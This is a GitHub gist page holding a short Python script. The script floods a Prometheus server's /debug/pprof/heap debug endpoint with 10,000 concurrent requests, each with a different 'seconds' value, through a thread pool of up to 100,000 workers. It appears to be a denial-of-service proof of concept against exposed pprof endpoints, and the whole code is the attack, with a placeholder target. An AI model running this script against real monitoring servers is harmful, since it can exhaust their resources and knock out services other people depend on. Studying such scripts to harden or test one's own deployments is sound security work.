-
-
Save yakirk/1c72aad0cdd8a30f25d04ac59af7b7d8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import concurrent.futures | |
import requests | |
from time import time | |
# List of URLs to request | |
urls = [] | |
for i in range(10000): | |
urls.append(f"http://<Prometheus-URL>:9090/debug/pprof/heap?seconds={i}") | |
def fetch_url(url): | |
try: | |
print(url) | |
response = requests.get(url) | |
return ( | |
url, response.status_code, response.text[:100]) # Return URL, status code, and first 100 chars of content | |
except requests.RequestException as e: | |
return (url, None, str(e)) # In case of error, return the exception | |
def fetch_all_urls(urls): | |
results = [] | |
with concurrent.futures.ThreadPoolExecutor(max_workers=100000) as executor: | |
future_to_url = {executor.submit(fetch_url, url): url for url in urls} | |
for future in concurrent.futures.as_completed(future_to_url): | |
url = future_to_url[future] | |
try: | |
result = future.result() | |
results.append(result) | |
except Exception as exc: | |
results.append((url, None, str(exc))) | |
return results | |
if __name__ == "__main__": | |
start_time = time() | |
results = fetch_all_urls(urls) | |
end_time = time() | |
for url, status, content in results: | |
print(f"URL: {url} \nStatus: {status}\nContent: {content}\n") | |
print(f"Time taken: {end_time - start_time} seconds") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment